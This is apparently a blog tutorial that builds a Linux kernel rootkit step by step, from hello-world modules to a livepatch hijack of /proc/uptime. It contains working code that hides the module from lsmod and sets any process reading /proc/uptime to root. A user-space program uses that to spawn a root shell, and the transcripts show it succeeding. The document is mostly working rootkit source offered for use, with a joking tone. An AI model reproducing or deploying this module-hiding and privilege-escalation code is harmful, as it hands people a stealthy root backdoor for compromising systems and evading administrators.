Becoming a rat in your own system

Making improvements to a system that don't actually do anyone any good, and can sometimes have negative ramifications

Errm...
    yeah i am the administrator in my personal computer.
    I havent found a malware that hidden on my system.
    What do you mean by that, they can hide somewhere I can't see? 
    If... What if somebody already broke into my computer and installed rootkits for years?
    What if they backdoored all installer iso images of mine?
    Please? are you there? can you say something? 
    E

$ sudo apt-get install build-essential linux-headers-$(uname -r)

/*  
*  hello-1.c - The simplest kernel module.
*/
#include <linux/module.h>	/* Needed by all modules */
#include <linux/kernel.h>	/* Needed for KERN_INFO */

int init_module(void)
{
    printk(KERN_INFO "Hello world 1.\n");

    /* 
    * A non 0 return means init_module failed; module can't be loaded. 
    */
    return 0;
}

void cleanup_module(void)
{
    printk(KERN_INFO "Goodbye world 1.\n");
}

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>


static int __init my_first_lkm_init(void)
{
    printk(KERN_INFO "Hello, World!\n");
    return 0;
}

static void __exit my_first_lkm_exit(void)
{
    printk(KERN_INFO "Goodbye, World!\n");
}

module_init(my_first_lkm_init);
module_exit(my_first_lkm_exit);

/*
* can be seen in modinfo example.ko
*/
MODULE_LICENSE("GPL");
MODULE_AUTHOR("UNLEASHED");
MODULE_DESCRIPTION("A E S T H E T I C    M O  D U L E");
MODULE_VERSION("42.69");

# warning: change example.o with your .c filename 
obj-m += example.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

$ modinfo example.ko
filename:       /home/unleashed/rootkits/example.ko
version:        42.69
description:    A E S T H E T I C    M O  D U L E
author:         UNLEASHED
license:        GPL
srcversion:     1D9B7998FA4226B2B729D4F
depends:        
retpoline:      Y
name:           example
vermagic:       5.8.0-43-generic SMP mod_unload

$ sudo insmod example.ko
$ dmesg | tail
[    7.101138] audit: type=1400 audit(1618494843.063:11): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/{,usr/}sbin/dhclient" pid=730 comm="apparmor_parser"
[    7.272028] NET: Registered protocol family 40
[    8.646946] e1000: ens33 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None
[    8.647995] IPv6: ADDRCONF(NETDEV_CHANGE): ens33: link becomes ready
[   13.382117] rfkill: input handler disabled
[   41.156004] rfkill: input handler enabled
[   49.571363] rfkill: input handler disabled
[ 2931.521334] example: loading out-of-tree module taints kernel.
[ 2931.521372] example: module verification failed: signature and/or required key missing - tainting kernel
[ 2931.522413] Hello, World!
$ sudo rmmod example
$ dmesg | tail
[    7.272028] NET: Registered protocol family 40
[    8.646946] e1000: ens33 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None
[    8.647995] IPv6: ADDRCONF(NETDEV_CHANGE): ens33: link becomes ready
[   13.382117] rfkill: input handler disabled
[   41.156004] rfkill: input handler enabled
[   49.571363] rfkill: input handler disabled
[ 2931.521334] example: loading out-of-tree module taints kernel.
[ 2931.521372] example: module verification failed: signature and/or required key missing - tainting kernel
[ 2931.522413] Hello, World!
[ 2971.527637] Goodbye, World!

#include <linux/kernel.h>
#include <linux/livepatch.h>
#include <linux/seq_file.h>
static int livepatch_uptime_proc_show(struct seq_file *m, void *v)
{
    seq_printf(m, "%s\n", "i stole your uptime! no uptime information for you. feck off...");
    return 0;
}

static struct klp_func funcs[] = {
    {
        .old_name = "uptime_proc_show",
        .new_func = livepatch_uptime_proc_show,
    }, { }
};

static struct klp_object objs[] = {
    {
        /* name being NULL means vmlinux */
        .funcs = funcs,
    }, { }
};

static struct klp_patch patch = {
    .mod = THIS_MODULE,
    .objs = objs,
};

static int livepatch_init(void)
{
    return klp_enable_patch(&patch);
}

static void livepatch_exit(void)
{
}
module_init(livepatch_init);
module_exit(livepatch_exit);
/*
* can be seen in modinfo example.ko
*/
MODULE_LICENSE("GPL");
MODULE_AUTHOR("UNLEASHED");
MODULE_DESCRIPTION("A E S T H E T I C    M O  D U L E");
MODULE_VERSION("42.69");
MODULE_INFO(livepatch, "Y");

$ make
make -C /lib/modules/5.8.0-43-generic/build M=/home/unleashed/rootkits/livepatch_example modules
make[1]: Entering directory '/usr/src/linux-headers-5.8.0-43-generic'
make[1]: Leaving directory '/usr/src/linux-headers-5.8.0-43-generic'
$ sudo insmod livepatch.ko
$ cat /proc/uptime
i stole your uptime! no uptime information for you. feck off...
$ sudo su
# echo 0 > /sys/kernel/livepatch/livepatch/enabled
# rmmod livepatch
# cat /proc/uptime
5818.87 23138.95

$ dmesg | tail -n 5
[ 5809.501167] livepatch: 'livepatch': starting unpatching transition
[ 5811.046974] livepatch: 'livepatch': unpatching complete
[ 6498.631116] livepatch: enabling patch 'livepatch'
[ 6498.632878] livepatch: 'livepatch': starting patching transition
[ 6500.067149] livepatch: 'livepatch': patching complete

$ lsmod | grep -i livepatch
livepatch  16384  1

#define LIST_HEAD_INIT(name) { &(name), &(name) }

#define LIST_HEAD(name) \
    struct list_head name = LIST_HEAD_INIT(name)

static inline void INIT_LIST_HEAD(struct list_head *list)
{
    list->next = list;
    list->prev = list;
}

#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/livepatch.h>
#include <linux/seq_file.h>
#include <linux/init.h>

static struct list_head *prev_module;

void show_the_module_again(void)
{
    /* add the module again the loaded modules list */
    list_add(&THIS_MODULE->list, prev_module);
}

void hide_this_module(void)
{
    /* There will be a loaded module when we are loading ourselves.
        * We must save our previous module to get back in the same place again.
        * */
    prev_module = THIS_MODULE->list.prev;
    /* say goodbye! */
    list_del(&THIS_MODULE->list);
}

static int livepatch_uptime_proc_show(struct seq_file *m, void *v)
{
    seq_printf(m, "%s\n", "i stole your uptime! no uptime information for you. feck off...");
    return 0;
}

static struct klp_func funcs[] = {
    {
        .old_name = "uptime_proc_show",
        .new_func = livepatch_uptime_proc_show,
    }, { }
};

static struct klp_object objs[] = {
    {
        /* name being NULL means vmlinux */
        .funcs = funcs,
    }, { }
};

static struct klp_patch patch = {
    .mod = THIS_MODULE,
    .objs = objs,
};

static int livepatch_init(void)
{
    hide_this_module();
    return klp_enable_patch(&patch);
}

static void livepatch_exit(void)
{
}
module_init(livepatch_init);
module_exit(livepatch_exit);
/*
* can be seen in modinfo example.ko
*/
MODULE_LICENSE("GPL");
MODULE_AUTHOR("UNLEASHED");
MODULE_DESCRIPTION("A E S T H E T I C    M O  D U L E");
MODULE_VERSION("42.69");
MODULE_INFO(livepatch, "Y");

$ cat /proc/uptime
i stole your uptime! no uptime information for you. feck off...
$ lsmod | grep -i livepatch
$

/* Definition from cred.c
    *  prepare_creds - Prepare a new set of credentials for modification
    * Prepare a new set of task credentials for modification.  A task's creds
    * shouldn't generally be modified directly, therefore this function is used to
    * prepare a new copy, which the caller then modifies and then commits by
    * calling commit_creds().
    * returns struct cred*
    */
    ...
    ... 
    struct cred *new;
    ... 
    validate_creds(new);
	return new;

struct cred {
        atomic_t	usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t	subscribers;	/* number of processes subscribed */
        void		*put_addr;
        unsigned	magic;
    #define CRED_MAGIC	0x43736564
    #define CRED_MAGIC_DEAD	0x44656144
    #endif
        kuid_t		uid;		/* real UID of the task */
        kgid_t		gid;		/* real GID of the task */
        kuid_t		suid;		/* saved UID of the task */
        kgid_t		sgid;		/* saved GID of the task */
        kuid_t		euid;		/* effective UID of the task */
        kgid_t		egid;		/* effective GID of the task */
        kuid_t		fsuid;		/* UID for VFS ops */
        kgid_t		fsgid;		/* GID for VFS ops */
        unsigned	securebits;	/* SUID-less security management */
        kernel_cap_t	cap_inheritable; /* caps our children can inherit */
        kernel_cap_t	cap_permitted;	/* caps we're permitted */
        kernel_cap_t	cap_effective;	/* caps we can actually use */
        kernel_cap_t	cap_bset;	/* capability bounding set */
        kernel_cap_t	cap_ambient;	/* Ambient capability set */
    #ifdef CONFIG_KEYS
        unsigned char	jit_keyring;	/* default keyring to attach requested
                         * keys to */
        struct key	*session_keyring; /* keyring inherited over fork */
        struct key	*process_keyring; /* keyring private to this process */
        struct key	*thread_keyring; /* keyring private to this thread */
        struct key	*request_key_auth; /* assumed request_key authority */
    #endif
    #ifdef CONFIG_SECURITY
        void		*security;	/* subjective LSM security */
    #endif
        struct user_struct *user;	/* real user ID subscription */
        struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
        struct group_info *group_info;	/* supplementary groups for euid/fsgid */
        /* RCU deletion */
        union {
            int non_rcu;			/* Can we skip RCU deletion? */
            struct rcu_head	rcu;		/* RCU deletion hook */
        };
}

void escalate_me(void)
{
    // define mentioned struct above
    struct cred *root_privileges;
    // when we call prepare_creds like this the function returns the current privileges;
    root_privileges = prepare_creds();
    
    // if something is bad, directly exit from this function
    if(root_privileges == NULL) return;

    // let's change related privileges to zero
    root_privileges->uid.val = root_privileges->gid.val = 0;
    root_privileges->euid.val = root_privileges->egid.val = 0;
    root_privileges->suid.val = root_privileges->sgid.val = 0;
    root_privileges->fsuid.val = root_privileges->fsgid.val = 0;

    // commit privileged prepared credentials to calling process
    commit_creds(root_privileges);
}

#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/livepatch.h>
#include <linux/seq_file.h>

void escalate_me(void)
{
    // define mentioned struct above
    struct cred *root_privileges;
    // when we call prepare_creds like this the function returns the current privileges;
    root_privileges = prepare_creds();
    
    // if something is bad, directly exit from this function
    if(root_privileges == NULL) return;

    // let's change related privileges to zero
    root_privileges->uid.val = root_privileges->gid.val = 0;
    root_privileges->euid.val = root_privileges->egid.val = 0;
    root_privileges->suid.val = root_privileges->sgid.val = 0;
    root_privileges->fsuid.val = root_privileges->fsgid.val = 0;

    // commit privileged prepared credentials to calling process
    commit_creds(root_privileges);
}

static int livepatch_uptime_proc_show(struct seq_file *m, void *v)
{
    seq_printf(m, "%s\n", "i stole your uptime! no uptime information for you. feck off...");
    escalate_me();
    return 0;
}

static struct klp_func funcs[] = {
    {
        .old_name = "uptime_proc_show",
        .new_func = livepatch_uptime_proc_show,
    }, { }
};

static struct klp_object objs[] = {
    {
        /* name being NULL means vmlinux */
        .funcs = funcs,
    }, { }
};

static struct klp_patch patch = {
    .mod = THIS_MODULE,
    .objs = objs,
};

static int livepatch_init(void)
{
    return klp_enable_patch(&patch);
}

static void livepatch_exit(void)
{
}
module_init(livepatch_init);
module_exit(livepatch_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("UNLEASHED");
MODULE_DESCRIPTION("A E S T H E T I C    M O  D U L E");
MODULE_VERSION("42.69");

/*
* for the lulz
* author: echel0n
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <assert.h>

#define FILENAME "/proc/uptime"

void read_uptime(void)
{
    FILE *f;
    char c;
    f = fopen(FILENAME, "r");
    if (f == NULL) {
    printf("[-] Failed to open \n");
    exit(-1);
    }
    c = fgetc(f);
    while (c != EOF){
    printf ("%c", c);
    c = fgetc(f);
    }
}

void get_shell() {
    char *argv[] = {"/bin/sh", NULL};

    if (getuid() == 0){
    printf("[+] BRO NICE ROOTKIT 5/7 rated LMFAO \nbash4.20$ blaze it\n");
    execve("/bin/sh", argv, NULL);
    }
    printf("[-] nice try but no\n");
}

int main(int argc, char *argv[])
{
    read_uptime();
    assert( getuid() == 0 );
    get_shell();
    return 0;
}

user_program $ ./a.out 
i stole your uptime! no uptime information for you. feck off...
[+] BRO NICE ROOTKIT 5/7 rated LMFAO 
bash4.20$ blaze it
#